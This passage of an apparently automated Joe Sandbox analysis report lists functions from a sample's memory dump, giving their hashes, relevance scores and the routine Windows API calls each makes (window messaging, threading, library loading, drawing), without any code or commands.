Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 3a1e427b203480dd1de48b20facfd8d58dedffe96fb9bf7f008df0e4a56b93ba
Instruction ID: c5b54ed063b4255d6b203a2326ce085c16b99fe9dfd2264aff5d3d5b9059a579
Opcode Fuzzy Hash: 3a1e427b203480dd1de48b20facfd8d58dedffe96fb9bf7f008df0e4a56b93ba
Instruction Fuzzy Hash: 3411A23250872DAFCB10AF28CC04A7A7BA9AF49370B558725F939D72F0D7319951EB90

Function 00FF5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00FF56BB
_wcslen.LIBCMT ref: 00FF56CD
_wcslen.LIBCMT ref: 00FF56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00FF5816

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: bafafc70ac1de7542857046f63ab74c098468987cc1762ebcf71d91861539ce3
Instruction ID: 7c3982f0a903ae5428433c8cb4cf053c37c8d2f4334b1136c1ff0c072a5faef6
Opcode Fuzzy Hash: bafafc70ac1de7542857046f63ab74c098468987cc1762ebcf71d91861539ce3
Instruction Fuzzy Hash: 7211B472A0061D96DF20DF618C85AFE77ACAF11B70B10402AFB15D6091E774D980EB60

Function 00F91D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ad7d8d6efbbdcdae33af33a100e69e0e8b003378000753641c819ddfdc9da
Instruction ID: 9af107f1204605c9aad03859aea3e790f63dd5dcb6510866376bbbcd61e7458c
Opcode Fuzzy Hash: a72ad7d8d6efbbdcdae33af33a100e69e0e8b003378000753641c819ddfdc9da
Instruction Fuzzy Hash: B1018BB260A61B3EFE2126786CC0F27762CEF413B8B300336F521A11D2DB648C04B1A0

Function 00FC1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00FC1A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FC1A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FC1A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FC1A8A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d21014524a3f3d649466f0dc451c283810daf6f83f566905d2c4860468f13def
Instruction ID: a206a82602e57eb54dd2dd1c27257c497568aac65a5449d54c15b2eb9786aed2
Opcode Fuzzy Hash: d21014524a3f3d649466f0dc451c283810daf6f83f566905d2c4860468f13def
Instruction Fuzzy Hash: D7113C3AD01219FFEB10DBA4CD85FADBB78FB04750F200095E604B7290D6716E50EB94

Function 00FCE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00FCE1FD
MessageBoxW.USER32(?,?,?,?), ref: 00FCE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00FCE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00FCE24D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 0ca4f4ed1ea37716ecffd512474f5734d4827d191d7ce24b77046a5c32705774
Instruction ID: 937a2182bccc53aaadbafc7ee70dcef7936fcccf0e6017bc425a00adaa20e561
Opcode Fuzzy Hash: 0ca4f4ed1ea37716ecffd512474f5734d4827d191d7ce24b77046a5c32705774
Instruction Fuzzy Hash: 4A110472D0421DBBC7119FA89D0AFEE7FACAF45320F008219F824E3280D3B5C900A7A0

Function 00F8D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00F8CFF9,00000000,00000004,00000000), ref: 00F8D218
GetLastError.KERNEL32 ref: 00F8D224
__dosmaperr.LIBCMT ref: 00F8D22B
ResumeThread.KERNEL32(00000000), ref: 00F8D249

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 9521e0ff2621a6e4ffe9093cc96d46c626abbdbf3036f5739b4d48a361e33996
Instruction ID: 921a59f43b80200277cadb11833c04d8f3656e0f0db01296b9177f7d017c0977
Opcode Fuzzy Hash: 9521e0ff2621a6e4ffe9093cc96d46c626abbdbf3036f5739b4d48a361e33996
Instruction Fuzzy Hash: BC01DE36805218BBDB217BA5DC09BEE7B6DEF81330F200259F925921E0CB70C905F7A1

Function 00FF9EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

GetClientRect.USER32(?,?), ref: 00FF9F31
GetCursorPos.USER32(?), ref: 00FF9F3B
ScreenToClient.USER32(?,?), ref: 00FF9F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00FF9F7A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: ba102447cb133f9457cb9a8c2137b312819d89a5003c47fb9f412c1c6fdc1d4f
Instruction ID: adae51e239edf77ac06c296768ae6d8ae2d942ade69d0444f25032f7bd8e4d12
Opcode Fuzzy Hash: ba102447cb133f9457cb9a8c2137b312819d89a5003c47fb9f412c1c6fdc1d4f
Instruction Fuzzy Hash: B311253290412EABDB10EF68C885AFE77BCEF45311F000451FA11E71A0D7B4BA85EBA1

Function 00F6600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00F6604C
GetStockObject.GDI32(00000011), ref: 00F66060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00F6606A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 9b20f890b694220bed67d7ea13471fd8c8d81c4842714ada5fe63bd8b9aad862
Instruction ID: 96e22690b604beee42ea91486547eb951bddb6e8fd1d49d4adf15281f9c106b0
Opcode Fuzzy Hash: 9b20f890b694220bed67d7ea13471fd8c8d81c4842714ada5fe63bd8b9aad862
Instruction Fuzzy Hash: 5C11577350151CBFEF229FA49D44AEABF6DEF093A4F040226FA1592110D7769C60EBA0

Function 00F83B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00F83B56

Part of subcall function 00F83AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00F83AD2
Part of subcall function 00F83AA3: ___AdjustPointer.LIBCMT ref: 00F83AED

_UnwindNestedFrames.LIBCMT ref: 00F83B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00F83B7C
CallCatchBlock.LIBVCRUNTIME ref: 00F83BA4

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 2a2bea528cb991bd0838d3d200b045597b896fe87ec710f9bdd001e55361065f
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 12012972500149BBDF126E95CC46EEB3F69EF88B64F044014FE4896121D736E961EBA0

Function 00F93073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00F613C6,00000000,00000000,?,00F9301A,00F613C6,00000000,00000000,00000000,?,00F9328B,00000006,FlsSetValue), ref: 00F930A5
GetLastError.KERNEL32(?,00F9301A,00F613C6,00000000,00000000,00000000,?,00F9328B,00000006,FlsSetValue,01002290,FlsSetValue,00000000,00000364,?,00F92E46), ref: 00F930B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00F9301A,00F613C6,00000000,00000000,00000000,?,00F9328B,00000006,FlsSetValue,01002290,FlsSetValue,00000000), ref: 00F930BF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: d7612df3d1b873bc75223621d278473cb04fe82f9ef571c492297a196c1571ff
Instruction ID: 217b56f94b637e1e536ff9913073660490265ea726c71e3ad010510d13cd069a
Opcode Fuzzy Hash: d7612df3d1b873bc75223621d278473cb04fe82f9ef571c492297a196c1571ff
Instruction Fuzzy Hash: 7E012B3270133AABEF314B799C44A677B9CEF05BB5B110620F915E3150C721DD05D6E0

Function 00FC7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00FC747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00FC7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00FC74AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00FC74CA

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: ff4850a6622a94433d766a579dedd601b52832f39cc960555c7ad65b51abeda0
Instruction ID: 03e0104bac1996c365c93201db132eba25749a554a25e4bd28cd5ae51f1bc86a
Opcode Fuzzy Hash: ff4850a6622a94433d766a579dedd601b52832f39cc960555c7ad65b51abeda0
Instruction Fuzzy Hash: EA113CB520571ADBE724DF14DE0AFA2BBBCEB00B04F10856DA666D6191D7B0E904EF90

Function 00FCB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00FCACD3,?,00008000), ref: 00FCB0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00FCACD3,?,00008000), ref: 00FCB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00FCACD3,?,00008000), ref: 00FCB0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00FCACD3,?,00008000), ref: 00FCB126

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: b5d343065fc41862cc8cf6edf13c6808d182eda711cd21e61f31e47bf91e45e0
Instruction ID: aa7e30e182248fd0c7d94fe248332ac6afe95911318db43e3b7adbaad5fed74d
Opcode Fuzzy Hash: b5d343065fc41862cc8cf6edf13c6808d182eda711cd21e61f31e47bf91e45e0
Instruction Fuzzy Hash: 1C112735C0152EE7CF10AFA5EA5ABEEBB78BF09711F10408AD941B2181CB305A50EB92

Function 00FC2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00FC2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FC2DD6
GetCurrentThreadId.KERNEL32 ref: 00FC2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00FC2DE4

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: a3c775894fbe8d56f1949ce47c99fcd0965997476fe28d71473a07c98cceddc5
Instruction ID: 17e941456000ff581338a10135ff80dd306047191418bc476085dfd0ab337f21
Opcode Fuzzy Hash: a3c775894fbe8d56f1949ce47c99fcd0965997476fe28d71473a07c98cceddc5
Instruction Fuzzy Hash: A5E06D7250523C7AD7201B639E0EFFB3E6CEF52BA1F000019B10AD1080DAA08840E6F0

Function 00FF8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00F79639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F79693
Part of subcall function 00F79639: SelectObject.GDI32(?,00000000), ref: 00F796A2
Part of subcall function 00F79639: BeginPath.GDI32(?), ref: 00F796B9
Part of subcall function 00F79639: SelectObject.GDI32(?,00000000), ref: 00F796E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00FF8887
LineTo.GDI32(?,?,?), ref: 00FF8894
EndPath.GDI32(?), ref: 00FF88A4
StrokePath.GDI32(?), ref: 00FF88B2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 71db3f67779de70d9e9c6334d3fb7042a417a5591614ae73047f30438710e5bd
Instruction ID: 1027f732a4b7319c64508fdfc87df738bb3d6ead649c1a59efc24b6a7019600f
Opcode Fuzzy Hash: 71db3f67779de70d9e9c6334d3fb7042a417a5591614ae73047f30438710e5bd
Instruction Fuzzy Hash: 46F03A3604526DBADB125F94AD09FEA3E5DAF0A360F048101FB11A50E1CBB95522EBE5

Function 00F798B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00F798CC
SetTextColor.GDI32(?,?), ref: 00F798D6
SetBkMode.GDI32(?,00000001), ref: 00F798E9
GetStockObject.GDI32(00000005), ref: 00F798F1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 676abcb49cea7fa9cbbbb15c77bbe7c86bd87a1260c581e5e1e712d7d8aa4247
Instruction ID: dd756e481db3eb06149a3af1f1a9faeb7a2dae450315f55b54ad67997dbf4333
Opcode Fuzzy Hash: 676abcb49cea7fa9cbbbb15c77bbe7c86bd87a1260c581e5e1e712d7d8aa4247
Instruction Fuzzy Hash: A5E06531644298AADB215B75AD09BF83F24EF51736F188219F6F9580E1C3714650EF11

Function 00FC162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00FC1634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00FC11D9), ref: 00FC163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00FC11D9), ref: 00FC1648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00FC11D9), ref: 00FC164F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: ea8a09ba62dd63a2398c354a11d402125fa722ae18576686558de3e6cbdaa7be
Instruction ID: 5e775ef43848308df608bda8b7c895611c155440dc524efd330e5227ea493cc1
Opcode Fuzzy Hash: ea8a09ba62dd63a2398c354a11d402125fa722ae18576686558de3e6cbdaa7be
Instruction Fuzzy Hash: EAE08632A01229DBD7201FB09F0DF663B7CFF457A1F144808F245D9080DA344445F790

Function 00FBD858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00FBD858
GetDC.USER32(00000000), ref: 00FBD862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FBD882
ReleaseDC.USER32(?), ref: 00FBD8A3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: c016a83d4f9be1e5f259ad2dc90141ab2f0a30935d943855dd29d723183e01e2
Instruction ID: b50eaeeffa6edcda335c5ed4c28c38add6a66f2ef25fd3ab96fe1de0e02c6baf
Opcode Fuzzy Hash: c016a83d4f9be1e5f259ad2dc90141ab2f0a30935d943855dd29d723183e01e2
Instruction Fuzzy Hash: 41E0E5B1804218DFCB419FA0DA08A7DBBB9AF08311B108409E84AE7350DB388901FF91

Function 00FBD86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00FBD86C
GetDC.USER32(00000000), ref: 00FBD876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FBD882
ReleaseDC.USER32(?), ref: 00FBD8A3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 2adaa7ddb49c028ad00e595d98dea2aeb75041156ac2745777134226d06cd042
Instruction ID: 76349e99695ec1e679931abbf44e4c3f4ae2c474ef4ece05faa15dfc912a0049
Opcode Fuzzy Hash: 2adaa7ddb49c028ad00e595d98dea2aeb75041156ac2745777134226d06cd042
Instruction Fuzzy Hash: 1CE012B1804218EFCB40AFA0DA08A7DBBB9BF08310B108409E84AE7350CB385902FF90

Function 00FD4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F67620: _wcslen.LIBCMT ref: 00F67625

